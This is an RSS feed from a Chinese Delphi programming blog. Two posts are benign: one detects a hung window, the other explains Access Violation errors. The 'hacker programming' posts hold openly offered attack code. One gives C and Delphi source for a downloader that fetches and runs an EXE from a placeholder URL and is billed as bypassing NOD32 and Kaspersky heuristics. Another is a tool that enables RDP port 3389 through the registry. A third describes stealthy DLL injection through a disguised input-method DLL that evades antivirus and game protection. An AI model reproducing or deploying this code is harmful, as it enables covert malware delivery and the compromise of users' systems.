<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="css/rss.xslt"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>心动吧DELPHI网络书</title><link>http://www.abcxd.com/delphi/</link><description>心动吧官方网 您的选择</description><generator>RainbowSoft Studio Z-Blog 1.8 Spirit Build 80722</generator><language>zh-CN</language><copyright>Copyright ⊙ 2004-2009 心动吧 UrL:ABCXD.CoM All RiGhts Reserved</copyright><pubDate>Tue, 15 Sep 2009 20:49:24 +0800</pubDate><item><title>判断程序是否无响应</title><author>a63248388@163.com (kissjetg)</author><link>http://www.abcxd.com/delphi/abcxddelphi/DELPHIAPI/panduanchengxushifouwuxiangying.html</link><pubDate>Tue, 15 Sep 2009 19:45:22 +0800</pubDate><guid>http://www.abcxd.com/delphi/abcxddelphi/DELPHIAPI/panduanchengxushifouwuxiangying.html</guid><description><![CDATA[<p>
<p>这段代码将集成在 Rarnu Script 保护线程内，用于监视程序/VM是否无响应</p>
<pre class="delphi" name="code">
 function    IsAppRespondig9X(dwThreadId:    DWORD):    Boolean; 
   type     
       TIsHungThread    =    function(dwThreadId:    DWORD):    BOOL;    stdcall;     
   var     
       hUser32:    THandle;     
       IsHungThread:    TIsHungThread;     
   begin     
       Result    :=    True;     
       hUser32    :=    GetModuleHandle('user32.dll');     
       if    (hUser32    &gt;    0)    then     
       begin     
           @IsHungThread    :=    GetProcAddress(hUser32,    'IsHungThread');     
           if    Assigned(IsHungThread)    then     
           begin     
               Result    :=    not    IsHungThread(dwThreadId);     
           end;     
       end;     
   end;     
  
   function    IsAppRespondigNT(wnd:    HWND):    Boolean;     
   type     
       TIsHungAppWindow    =    function(wnd:hWnd):    BOOL;    stdcall;     
   var     
       hUser32:    THandle;     
       IsHungAppWindow:    TIsHungAppWindow;     
   begin     
       Result    :=    True;     
       hUser32    :=    GetModuleHandle('user32.dll');     
       if    (hUser32    &gt;    0)    then     
       begin     
           @IsHungAppWindow    :=    GetProcAddress(hUser32,    'IsHungAppWindow');     
           if    Assigned(IsHungAppWindow)    then     
           begin     
               Result    :=    not    IsHungAppWindow(wnd);     
           end;     
       end;     
   end;     
    
   function    IsAppRespondig(Wnd:    HWND):    Boolean;     
   begin     
     if    not    IsWindow(Wnd)    then     
     begin     
         ShowMessage('Incorrect    window    handle!');     
         Exit;     
     end;     
     if    Win32Platform    =    VER_PLATFORM_WIN32_NT    then     
         Result    :=    IsAppRespondigNT(wnd)     
     else     
         Result    :=    IsAppRespondig9X(GetWindowThreadProcessId(Wnd,nil));     
   end;     
    
   procedure    TForm1.Button1Click(Sender:    TObject);     
   var     
       Res:    DWORD;     
       h:    HWND;     
   begin     
       h    :=    FindWindow(nil,   'notepad');     
       if    h    &gt;    0    then     
       begin     
           if    IsAppRespondig(h)    then     
               ShowMessage('notepad 有响应')     
           else     
               ShowMessage('notepad 无响应');     
       end     
       else     
           ShowMessage('未打开 notepad');     
   end;
</pre>
</p>
<p>&nbsp;</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIAPI/panduanchengxushifouwuxiangying.html" target="_blank">继续阅读《判断程序是否无响应》的全文内容...</a></p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIAPI/panduanchengxushifouwuxiangying.html#comment" target="_blank">找不到相关文章，请发表流言</a></p>]]></description><category>API基础</category><comments>http://www.abcxd.com/delphi/abcxddelphi/DELPHIAPI/panduanchengxushifouwuxiangying.html#comment</comments><wfw:comment>http://www.abcxd.com/delphi/</wfw:comment><wfw:commentRss>http://www.abcxd.com/delphi/feed.asp?cmt=412</wfw:commentRss><trackback:ping>http://www.abcxd.com/delphi/cmd.asp?act=tb&amp;id=412&amp;key=98371afb</trackback:ping></item><item><title>Access Violation（非法访问）错误的解决方法</title><author>a63248388@163.com (kissjetg)</author><link>http://www.abcxd.com/delphi/abcxddelphi/DELPHIJQ/Access-Violation.html</link><pubDate>Fri, 04 Sep 2009 23:54:40 +0800</pubDate><guid>http://www.abcxd.com/delphi/abcxddelphi/DELPHIJQ/Access-Violation.html</guid><description><![CDATA[<p><span style="color: #ff0000">明生注：这是转自网上的文章。这一个文章作者真是帮了我一个藏在心里面很久的问题，现在终得解决。。感谢无私的奉献..</span></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; <font color="#339966">Access Violation</font>（非法访问），<font color="#339966">General Protection Fault</font>（一般保护性错误）或者<font color="#339966">Invalid Page Fault</font>（无效页面错误），虽然说法不一样，但本质上总是由同一种错误引起的。Access Violation常常在<font color="#ff0000">计算机用户运行的程序试图存取未被指定使用的存储区</font>时遇到。 <br />
Access violation at address &lt;十六进制值&gt; <br />
in module &lt;应用程序名&gt; <br />
Read of address &lt;十六进制值&gt;</p>
<p>　　Windows用户可能经常会看到类似于错误提示：&ldquo;Error：Access violation at address 836556F8（004096da）. Read of address 836556F8（00401000）&rdquo;。作为一个Delphi程序开发者，遇到这种错误的机会比其他用户更多<font color="#339966">(^_^)</font>。</p>
<p>　　一旦Windows要在它被分配的存储区之外写数据信息，它就会覆盖其他程序甚至操作系统的命令或数据。一旦发生了这种情况，操作系统将会瘫痪或者以某种形式关闭，你必须重新启动计算机。例如，在Windows NT/2000下一个程序遇到这种错误时，Dr. Watson出现并且停止了该程序，捕获了一些快速的细节状态，再把它们用文本形式记录下来。Access Violation是某些最令人气恼的Windows程序遇到的错误之一。<font color="#339966">本文的目的就是让你找到Delphi中Access Violation的解决之道。</font>首先声明一点，Access Violation和Microsoft Access没有任何关系。</p>
<p><br />
　　用Delphi开发程序时，我们可以把遇到的Access Violation分成两大类：运行期和设计期。</p>
<p><br />
<font color="#ff0000">一、设计期的Access Violation</font></p>
<p><br />
1.硬件原因 <br />
　　在启动或关闭Delphi IDE以及编译一个Delphi工程时容易出现设计期的Access Violation。在你的计算机运行中出现Access Violation信息可能由各种各样的原因引起，包括系统BIOS、操作系统或者是硬件驱动线，有些声卡、显卡、网卡实际上也会导致这种错误。为什么这么说？计算机里的每一块卡都有它的设备驱动程序。对于不同的制造商、不同版本的Windows或者不同版本的Delphi都可能会遇到不同的问题。如下的几个步骤可能有助于你解决遇到的这些问题：</p>
<p><br />
　　1. 按照必要的步骤来证实你安装的驱动程序之间没有冲突。</p>
<p><br />
　　2. 有时降低显示分辨率可能会使某些古怪的显卡驱动程序稳定一些。</p>
<p><br />
　　3. 如果使用双处理器的主板，则保证对每个处理器的修改步骤一样。</p>
<p><br />
　　4. 对于计算机上的所有硬件注意使用最新的驱动程序。</p>
<p><br />
2.软件原因 <br />
　　尽管Intel的计算机中Windows是最流行的操作系统，由于Windows系统天生的脆弱性和BUG，应用程序的误操作可能导致操作系统的迅速瘫痪（有时操作系统本身也会莫名其妙的瘫痪）。选择一个更稳定的程序开发环境是解决之道，如下几个步骤可以帮助你防止某些Access Violation的发生：</p>
<p><br />
　　（1）尽管Windows 9X相当流行，Windows NT/2000还是从多方面被证实是一个稳定得多的环境，几乎对于所有的Windows代码平台而言都是这样。</p>
<p><br />
（2） 确保对于Windows NT/2000已经安装了最新的service pack。每次安装完新版的service pack，你会发现机器变得稳定了。</p>
<p><br />
（3） 为你使用的各种版本的Delphi装上当前的更新或补丁（BDE、ADO&hellip;&hellip;），这是提前预防错误的好办法。尽量使用最新的Delphi补丁&mdash;&mdash;Access Violation错误数量尤其是设计期的错误数会大大减少。</p>
<p><br />
（4）如果你在IDE中经常随机遇到Access Violation错误，很有可能是你安装了一个不好的控件、包或者一个向导，它不是你使用的版本的Delphi所编写或编译的。试着一个一个卸载定制的控件（或者包）直到问题被解决，然后联系控件厂商关注这个问题的结果。</p>
<p><br />
（5） 检查一下计算机里是否有没用的东西和程序冲突。奇怪的软件程序和测试版的产品常常会导致Access Violation错误。</p>
<p><br />
（6） 如果系统设置有错误，那么Access Violation错误可能也会经常出现。如果你不停地遇到一个错误提示信息一样的Access Violation，记录下这些细节，然后通知可能导致这个错误的软件制造厂商。</p>
<p>这些就是我对设计期Access Violation错误的全部建议。</p>
<p><br />
<font color="#ff0000">二、运行期的Access Violation <br />
</font>Delphi常见的运行期Access Violation错误有哪些？如何防止？</p>
<p><br />
任何软件开发都会遇到这样的情况：你写好程序并测试，然后到处发送，结果用户告诉你它失败了。</p>
<p><br />
你可能考虑用编译指令{$D}编译你的程序&mdash;&mdash;Delphi可以建立一个有助于定位Access Violation错误的源代码的镜像文件。工程选项对话框（Project|Options|Linker &amp; Compiler）让你指定你所需要的一切。对于单元文件，debug信息和单元的对象代码一起记录在unit文件里了。编译使用这个单元的程序时，debug信息会增加单元文件的大小而且会增加额外的内存开销，但是它不会影响最终可执行文件的大小和运行速度。包含debug信息和镜像文件（Project|Options|Linker）选项的产品只有在{$D+} 编译指令下才会完成行信息。</p>
<p><br />
Access violation通常只在程序的某一个方面表现出来。当问题第一次出现时，考虑一下用户进行了什么操作是很重要的，然后从这里寻找突破口。从用户的角度来看，你的程序中止了他们的工作，由他们来告诉你出现的问题似乎让你延期解决这个问题了。然而，与用户交流是你发现问题和改善程序的惟一有效方法。</p>
<p><br />
现在你将可以知道在只给你冲突地址的情况下，如何轻松发现准确路径、源代码文件、发生Access violation错误的行： <br />
&ldquo;Search - Find Error&hellip;&rdquo;。</p>
<p><br />
当一个运行期Access violation出现时，你的用户得到的错误信息类似于如下情况： <br />
Access violation at address &lt;十六进制值&gt; <br />
in module &lt;应用程序名&gt; <br />
Read of address &lt;十六进制值&gt;</p>
<p><br />
如果你的程序在Delphi IDE里包含debug信息编译，你可以定位到导致这个错误源代码这一行。 <br />
在Delphi程序中，一个最普遍导致Access Violation错误的原因是使用了一个没有被创建的对象。如果第二个地址&lt;十六进制值&gt;是FFFFFFF或0000000，十有八九就是你访问? 了一个没有被建立的对象。例如，你调用了一个表单的事件，但这个表单不是自动创建的，也没有代码实例化。</p>
<p><br />
?procedure TfrMain.OnCreate(Sender: TObject); <br />
var BadForm: TBadForm; <br />
begin <br />
//这里将会产生Access violation <br />
BadForm.Refresh; <br />
end;</p>
<p><br />
假设BadForm在工程选项&ldquo;Available Forms&rdquo;窗口列表里&mdash;&mdash;这个窗口是需要手工创建和释放的。在上面的代码里调用BadForm窗口的Refresh方法就会导致Access violation。</p>
<p><br />
如果你在Debugger选项窗口使&ldquo;Stop on Delphi Exceptions&rdquo;生效，那么就会弹出下面的信息： <br />
The message states that the EAccessViolation has occurred. The EAccessViolation is the exception class for invalid memory access errors.</p>
<p><br />
这是你在设计程序时将会看到的信息，下一个信息框将会出现，然后程序失败了： <br />
Access violation at address 0043F193 <br />
in module &rsquo;Project1.exe&rsquo; <br />
Read of address 000000.</p>
<p><br />
第一个十六进制数0043F193是发生Access violation的编译代码（Project1.exe）的运行期错误的地址。在IDE里选择菜单项&ldquo;Search|Find Error&hellip;&rdquo;，在对话框里输入错误发生的地址（0043F193）后点击&ldquo;OK&rdquo;按钮。Delphi将会重新编译你的工程文件，然后显示发生运行期错误的那一行代码，这里就是BadForm.Refresh这一行了。</p>
<p><br />
下面列出了Delphi环境下导致Access violation错误的大部分常见原因。这个列表不是也不可能覆盖所有可能出现的Access violation的情况。请在论坛上发送你的Access violation信息，大家可以试着一起解决这个问题&mdash;&mdash;真正的实际事例一般情况下比列出来的错误隐晦得多。</p>
<p><br />
1. 调用一个不存在的对象 <br />
如上所述，大部分Access violation的合理原因是使用了没有被创建或者已经被释放的对象。为了防止这种类型的Access violation的发生，请确保你访问的任何对象都首先被创建了。例如，当一个Table定位在一个没有被创建的data module（从auto-crete窗口里移走了）里，你可能在窗体的OnCreate事件里打开这个表。</p>
<p><br />
在下面的代码里，在调用一个已经被删除了的对象（b:TBitmap）事件后，一个Access violation出现了： <br />
var b:TBitmap; <br />
begin <br />
b:=TBitmap.Create; <br />
try <br />
//对b对象进行一些操作 <br />
finally <br />
b.free; <br />
end; <br />
... <br />
//由于b已经被释放，一个Access violation错误将会出现 <br />
b.Canvas.TextOut(0,0,&rsquo;这是一个 Access Violation&rsquo;); <br />
end;</p>
<p><br />
2. 不存在的API参数 <br />
如果你试图给Win API函数传递一个不存在的参数将会出现一个Access violation错误。解决此类Access violation错误的最好方法是查阅Win API帮助，看看这个API函数调用的参数信息以及参数类型。例如，总是保证不给一个缓冲参数传递一个无效指针。</p>
<p><br />
3. 让Delphi释放 <br />
当一个对象拥有另一个对象时，让它给你做删除工作。因为默认情况下，所有的窗体（自动创建的）都属于Application对象。当一个应用程序结束时，它释放了Application对象，也就释放了所有窗体。例如，如果你在程序开始时自动创建了两个窗体（Form1/Unit1和Form2/Unit2），下面的代码就会导致Access violation错误的出现： <br />
unit Unit1; <br />
... <br />
uses unit2; <br />
... <br />
procedure TForm1.Call_Form2 <br />
begin <br />
Form2.ShowModal; <br />
Form2.Free; <br />
//Access violation错误将会出现 <br />
Form2.ShowModal; <br />
end;</p>
<p><br />
4. 杀死异常 <br />
永远不要破坏临时异常对象（E），处理一个异常会自动释放异常对象。如果你自己手动释放了异常对象，程序会试图再次释放它，那么就会出现Access violation错误： <br />
Zero:=0; <br />
try <br />
dummy:= 10 / Zero; <br />
except <br />
on E: EZeroDivide do <br />
MessageDlg(&rsquo;不能用0做除数!&rsquo;,mtError, [mbOK], 0); <br />
E.free. ////Access violation错误将会出现 <br />
end;</p>
<p><br />
5. 检索一个空字符串 <br />
一个空字符串是没有任何数据的。就是说，检索一个空字符串相当于访问一个不存在的对象，这将导致Access violation错误： <br />
var s: string; <br />
begin <br />
s:=&rsquo;&rsquo;; <br />
s[1]:=&rsquo;a&rsquo;; <br />
//Access violation错误将会出现 <br />
end;</p>
<p><br />
6. 直接引用指针 <br />
你必须间接引用指针，否则你会改变指针地址并可能会破坏其他存储单元 ： <br />
procedure TForm1.Button1Click(Sender: TObject); <br />
var <br />
p1 : pointer; <br />
p2 : pointer; <br />
begin <br />
GetMem(p1, 128); <br />
GetMem(p2, 128); <br />
//下一行导致Access violation错误 <br />
Move(p1, p2, 128); <br />
//下一行方法正确 <br />
Move(p1^, p2^, 128); <br />
FreeMem(p1, 128); <br />
FreeMem(p2, 128); <br />
end; <br />
这些就是我对运行期Access Violation错误的全部建议，我希望你们也能对你们程序出现的Access Violation错误提出一些看法。</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIJQ/Access-Violation.html" target="_blank">继续阅读《Access Violation（非法访问）错误的解决方法》的全文内容...</a></p><h3>相关文章:</h3><ul><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIJQ/applicationEvents.html" title="在delphi程序中屏蔽所有错误">在delphi程序中屏蔽所有错误</a>&nbsp;&nbsp;(2009-6-1 10:6:47)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIJQ/delphi-runtime-error-216.html" title="delphi编写的时出现 runtime error 216 at 数字 的解决方法">delphi编写的时出现 runtime error 216 at 数字 的解决方法</a>&nbsp;&nbsp;(2009-4-30 14:35:18)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIAPI/Exception-Message.html" title="[原创]明生小记之delphi错误处理">[原创]明生小记之delphi错误处理</a>&nbsp;&nbsp;(2009-4-1 9:15:14)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIVCLCZ/raise.html" title="raise 语句: 抛出异常 ">raise 语句: 抛出异常 </a>&nbsp;&nbsp;(2009-3-3 11:5:14)</p></ul>]]></description><category>常用技巧</category><comments>http://www.abcxd.com/delphi/abcxddelphi/DELPHIJQ/Access-Violation.html#comment</comments><wfw:comment>http://www.abcxd.com/delphi/</wfw:comment><wfw:commentRss>http://www.abcxd.com/delphi/feed.asp?cmt=411</wfw:commentRss><trackback:ping>http://www.abcxd.com/delphi/cmd.asp?act=tb&amp;id=411&amp;key=bc94a29f</trackback:ping></item><item><title>最简单的下载者过NOD32 卡巴等启发[VC Delphi两个版本]</title><author>a63248388@163.com (kissjetg)</author><link>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Delphi-down.html</link><pubDate>Sun, 16 Aug 2009 13:03:42 +0800</pubDate><guid>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Delphi-down.html</guid><description><![CDATA[<p>VC版本：</p>
<div class="codes">
<pre class="php" name="code">
#pragma comment(lib, &quot;urlmon.lib&quot;)
#include
#pragma comment(linker,&quot;/SECTION:.text,EWR /IGNORE:4078 /FILEALIGN:0x200&quot;)
#pragma comment(linker,&quot;/ENTRY:Simen /MERGE:.rdata=.text /MERGE:.data=.text&quot;)

int DownExeTest()
{
char strPath[MAX_PATH];
HANDLE hMutex = NULL;
hMutex = CreateMutex(NULL, FALSE, &quot;TestC&quot;);
if (hMutex != NULL)
{
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
{
URLDownloadToFile(0, &quot;http://127.0.0.1/1.exe&quot;, &quot;C:\\aaa.exe&quot;, 0, 0);
WinExec(&quot;C:\\aaa.exe&quot;, SW_SHOW);
ExitProcess(-1);
}
}
else
{
GetModuleFileName(GetModuleHandle(NULL), strPath, sizeof(strPath));
WinExec(strPath, SW_HIDE);
ExitProcess(-1);
}
}
return 0;
}
/*
int DownExe()
{
URLDownloadToFile(0, &quot;http://127.0.0.1/1.exe&quot;, &quot;C:\\aaa.exe&quot;, 0, 0);
WinExec(&quot;C:\\aaa.exe&quot;, SW_SHOW);
ExitProcess(-1);
return 0;
}
*/
int Simen()
{
//DownExe(); //没有处理的 被杀..
DownExeTest(); //处理的 免杀..
return 0; 

</pre>
<p>Delphi版本:</p>
<div class="codes">
<pre class="delphi" name="code">
program Main;
uses
Windows,
Urlmon;
procedure DownExeTest();
var
MutexHandle: dword;
begin
MutexHandle := CreateMutex(nil, True, 'TestD');
if MutexHandle &lt;&gt; 0 then
begin
if GetLastError = ERROR_ALREADY_EXISTS then
begin
URLDownloadToFile(nil, 'http://127.0.0.1/1.exe', 'c:\test.exe', 0, nil);
WinExec('c:\test.exe', SW_SHOW);
end else
begin
WinExec(pchar(paramstr(0)),SW_HIDE);
end;
end;
end;

{
procedure DownExe();
begin
URLDownloadToFile(nil, 'http://127.0.0.1/1.exe', 'c:\test.exe', 0, nil);
WinExec('c:\test.exe', SW_SHOW);
end;
}

begin
// DownExe(); //没有处理的 被杀..
DownExeTest(); //处理的 免杀..
end.

}

</pre>
</div>
</div>
<p>&nbsp;</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Delphi-down.html" target="_blank">继续阅读《最简单的下载者过NOD32 卡巴等启发[VC Delphi两个版本]》的全文内容...</a></p><h3>相关文章:</h3><ul><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/delphi-wininet.html" title="delphi用wininet函数下载HTTP文件">delphi用wininet函数下载HTTP文件</a>&nbsp;&nbsp;(2009-4-2 8:45:20)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/dazaowuDLLbanchuanqiangDownloader.html" title="打造无DLL版穿墙Downloader">打造无DLL版穿墙Downloader</a>&nbsp;&nbsp;(2009-1-20 6:49:53)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/yongDelphishixianwenjianxiazaidejizhongfangfa.html" title="用Delphi实现文件下载的几种方法">用Delphi实现文件下载的几种方法</a>&nbsp;&nbsp;(2009-1-20 6:14:51)</p></ul>]]></description><category>黑客编程</category><comments>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Delphi-down.html#comment</comments><wfw:comment>http://www.abcxd.com/delphi/</wfw:comment><wfw:commentRss>http://www.abcxd.com/delphi/feed.asp?cmt=410</wfw:commentRss><trackback:ping>http://www.abcxd.com/delphi/cmd.asp?act=tb&amp;id=410&amp;key=256cba0a</trackback:ping></item><item><title>XP/2003下Delphi最简单的方法开放3389</title><author>a63248388@163.com (kissjetg)</author><link>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Delphi-xp-2003-3389.html</link><pubDate>Sat, 15 Aug 2009 13:11:59 +0800</pubDate><guid>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Delphi-xp-2003-3389.html</guid><description><![CDATA[<div class="codes">
<pre class="delphi" name="code">
{$APPTYPE CONSOLE}
uses
    SysUtils, Registry, Windows;
var
reg:TRegistry;
procedure Help;
begin
    writeln('');
    writeln('======Win XP&amp;2003 Open3389 by lanyu====== ');
    Writeln('Useag '+ExtractFileName(Paramstr(0))+' [/n]');
end;
begin
    { TODO -oUser -cConsole Main : Insert code here }
    if ParamCount&gt;2 then
    begin
      help;
      exit;
    end;
    reg:=TRegistry.Create;
    reg.RootKey:=HKEY_LOCAL_MACHINE;
    reg.OpenKey('SYSTEM\CurrentControlSet\Control\Terminal Server',true);
    if ParamCount=1 then
    begin
    if Paramstr(1)='/n' then
    begin
      try
        reg.WriteBool('fDenyTSConnections',true);
        Writeln('Close 3389 successfully');
      except
        Writeln('Close 3389 fail');
      end;
    end
    else
      begin
        Help;
        Exit;
      end;
    end
    else
    begin
      try
        reg.WriteBool('fDenyTSConnections',false);
        writeln('Open 3389 successfully');
      except
        writeln('Open 3389 fail');
      end;
    end;
    reg.Free;
end. </pre>
</div>
<p>暗组信息安全论坛<br />
修改注册表一个键值复制内容到剪贴板代码:<br />
program Open3389;</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Delphi-xp-2003-3389.html" target="_blank">继续阅读《XP/2003下Delphi最简单的方法开放3389》的全文内容...</a></p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Delphi-xp-2003-3389.html#comment" target="_blank">找不到相关文章，请发表流言</a></p>]]></description><category>黑客编程</category><comments>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Delphi-xp-2003-3389.html#comment</comments><wfw:comment>http://www.abcxd.com/delphi/</wfw:comment><wfw:commentRss>http://www.abcxd.com/delphi/feed.asp?cmt=409</wfw:commentRss><trackback:ping>http://www.abcxd.com/delphi/cmd.asp?act=tb&amp;id=409&amp;key=7fbf60b9</trackback:ping></item><item><title>Ring3下注入DLL的另类方法，能过杀软和游戏NP（源码）</title><author>a63248388@163.com (kissjetg)</author><link>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Ring3-RegisterUserApiHook.html</link><pubDate>Mon, 10 Aug 2009 22:17:05 +0800</pubDate><guid>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Ring3-RegisterUserApiHook.html</guid><description><![CDATA[<p>注入DLL是做全局钩子或者拦截类软件都有可能用到的技术，如果做外挂的话我们也有可能需要注入一个DLL到游戏进程中去干点什么&ldquo;坏事&rdquo;。 但我们知道现在要注入DLL是越来越难了。场景1：制作火星文输入法外挂，原理是利用API HOOK拦截并修改输入法相关函数，需要注入一个DLL到所有进程中，但是后来发现，在开启了瑞星的帐号保险箱后，用户将不能在QQ中输入火星文。原因是瑞星保护了QQ进程，禁止对其注入DLL，解决方法是提示用户关闭帐号保险箱 -_-|&nbsp; 确实是很降低用户体验的一个不是办法的办法。场景2：制作某游戏外挂，需要注入一个DLL到游戏进程中去直接调用游戏函数完成某一功能。结果发现该游戏有NP保护，OpenProcess打不开，创建远程线程也不行，试用其它方法也一一失败。遇到上面的情况，高手们自然是转到Ring0下面去，使用驱动之类的办法来对付啦，不过吾等菜鸟可就是酒井没法子了 -_-| <br />
&nbsp; &nbsp; 不过也别太灰心，凡事总会有办法的。我想我们需要一种持久的、稳定的、不容易被安全软件屏蔽的DLL注入方法，后来发现，输入法程序就是能完成这一任务的理想人选。输入法程序程序到底是什么？它没有自己的进程，并且在系统还没有登录时就已被加载（在欢迎界面你也可以调出输入法），它可以在游戏中打开，也可以在控制台程序中打开，还可以在瑞星保护下的QQ中打开，在杀软中也可以打开，这不就是我们要找的特性吗。那么，输入法到底是什么呢？根据Windows的规定，输入法其实就是一个DLL，不过它是一个特殊的DLL，它必须具有标准输入法程序所规定的那些接口，输入法是由输入法管理器（imm32.dll）控制的，输入法管理器又是由user32.dll控制的。输入法在系统目录是以IME为扩展名的文件，当在应用程序中激活某个输入法时，输入法管理器就会在那个应用程序的进程中加载对应的IME文件，注意，加载IME文件跟加载普通的DLL并没有本质区别，所以，可以认为，输入法其实就是注入到应用程序中的一个DLL文件，并且，这种&ldquo;注入&rdquo;是不会被杀软和游戏NP拦截的（至少目前是）。现在，我们已经有了一个注入DLL的另类方法，那就是利用输入法。具体流程是这样，首先制作一个标准输入法文件，但是这个输入法并不完成文字输入工作，它的唯一任务就是用来注入DLL，所以称为&ldquo;服务输入法&rdquo;，然后，制作一个控制程序，来控制服务输入法，当然最后还需要一个用于注入的目标DLL，这样一共就有3个文件。开始工作后，控制程序首先将服务输入法安装到系统中，然后传递几个参数给服务输入法，参数中包括了需要注入的DLL文件的名称和路径，然后，控制程序将服务输入法设置为系统的默认输入法，这样新的程序一打开，服务输入法就会注入那个程序。当然，在服务输入法安装之前打开的程序不会被注入，这时需要向系统中的所有窗口POST一条WM_INPUTLANGCHANGEREQUEST消息，该消息可以在指定窗口中后台激活服务输入法，这样，系统中所有拥有窗口的进程就都被我们的服务输入法注入了。服务输入法注入程序之后，就会根据控制程序传递过来的参数加载目标DLL，这样目标DLL也就随着服务输入法一同注入到目标程序中了。注意服务输入法是控制程序用WM_INPUTLANGCHANGEREQUEST消息在所有窗口中自动激活的，如果某个窗口自动激活失败，你就需要在那个窗口中手工切换到服务输入法，这样才能注入进去了。至于注入以后，你就可以在窗口中切换到别的输入法，这并不会影响已经注入进去的DLL。我将这一套功能制作成一个完整的示例，你可以在以下地址下载： http://www.pen88.com/download/imehook.rar&nbsp; 压缩包中的第6个和第8个文件夹演示了此功能并包含所有源代码。其中文件imedllhost09.dll就是服务输入法，运行时会被安装到系统中，控制程序退出时会自动卸载该输入法，这样用户就不太容易察觉，你还可以重新编译该输入法，将名称改为&ldquo;中文（中国）&rdquo;，这样隐蔽性更好。文件hxwdllwx.dll是演示用的目标DLL，你可以替换成自己的DLL，然后那个exe文件就是控制程序了。输入法imedllhost09.dll在运行时会被复制到系统目录并更名为imedllhost09.ime，它导出了2个函数用于控制。在VB中的声明为： <br />
Public Declare Function IMESetPubString Lib &quot;imedllhost09.ime&quot; (ByVal RunDLLStr As String, ByVal UnloadDll As Long, ByVal loadNextIme As Long, ByVal DllData1 As Long, ByVal DllData2 As Long, ByVal DllData3 As Long) As Long <br />
Public Declare Function IMEClearPubString Lib &quot;imedllhost09.ime&quot; () As Long <br />
其中IMESetPubString用于向输入法传递要注入的DLL等参数。RunDLLStr，要注入的DLL命令和完整路径。UnloadDll，当输入法退出时，是否同时卸载目标DLL 0-是，1-否。loadNextIme，当切换至该服务输入法时，是否直接切换到下一个输入法（这样服务输入法就好像被跳过了，可最小限度影响用户的输入法顺序） 0-否，1-是。DllData1，DllData2，DllData3是传递给目标DLL的回调函数（函数名称必须为RunDllHostCallBack）的参数，你可以在目标DLL中导出一个函数，名称为RunDllHostCallBack，这样当输入法注入时会调用目标DLL的该回调函数并向其传递这3个参数。函数原型为（VC）： <br />
DWORD RunDllHostCallBack(DWORD calldata1, DWORD calldata2,DWORD calldata3); <br />
IMEClearPubString函数用于清除输入法的配置，清除后，输入法将停止在新的程序中注入目标DLL，但已注入的DLL不会卸载。 <br />
好了，利用输入法来注入DLL基本上就是这样了，详细的用法大家可以看压缩包中的第8个文件夹，其中服务输入法是VC写的，控制程序是VB的，代码都是有注释的。测试发现该方法能过目前所有杀软，也能注入冰刃。当然缺点还是有的，就是目标程序如果不接受输入法那就没办法了，但是现在一般的游戏都不会禁止玩家在里面打字吧，而且杀软也不能禁止用户输入汉字吧，哈哈，所以通用性应该还是蛮好的。 <br />
<br />
<br />
最后，我再介绍另一个注入DLL的方法，估计也很少被用到。是利用一个未公开函数RegisterUserApiHook，可以在网上搜索关键词&ldquo;RegisterUserApiHook&rdquo;，查到有人在Windows 2003下测试成功，但是我在Windows XP测试却失败。后来终于找到了失效的原因。RegisterUserApiHook函数可以在系统中注册一个全局钩子，你需要在钩子中指定一个DLL和一个回调函数，然后，所有加载了user32.dll的程序就都会在启动时加载你指定的这个DLL。用这个函数来注入DLL也是很不错的。但是测试发现它的注入能力似乎赶不上上面提到的利用输入法来注入的办法，可以注入一般的程序和某些安全程序，但是对冰刃无效。而且它有一个限制，就是系统中只能同时存在一个这样的钩子。实际上这个钩子平时是被系统中的Themes服务占用了，Themes服务正是利用这个钩子HOOK了绘制窗口的相关API，所以才让所有程序窗口变成XP主题样式的。所以我们要用这个钩子的话，必须先关闭Themes服务，这样在XP下也可以用了，但是这样系统就变成Windows 2000的样式了 -_-| <br />
<br />
RegisterUserApiHook函数的VB声明如下： <br />
Public Declare Function RegisterUserApiHookXP Lib &quot;user32&quot; Alias &quot;RegisterUserApiHook&quot; (ByVal hInstance As Long, ByVal fnUserApis As Long) As Long <br />
Public Declare Function RegisterUserApiHook2003 Lib &quot;user32&quot; Alias &quot;RegisterUserApiHook&quot; (pRegInfo As HookAPIRegInfo2003) As Long <br />
<br />
可以看到，在XP和2003下这个函数的参数是不一样的。关于此函数的示例代码，请参见压缩包中的第5个文件夹。 <br />
<br />
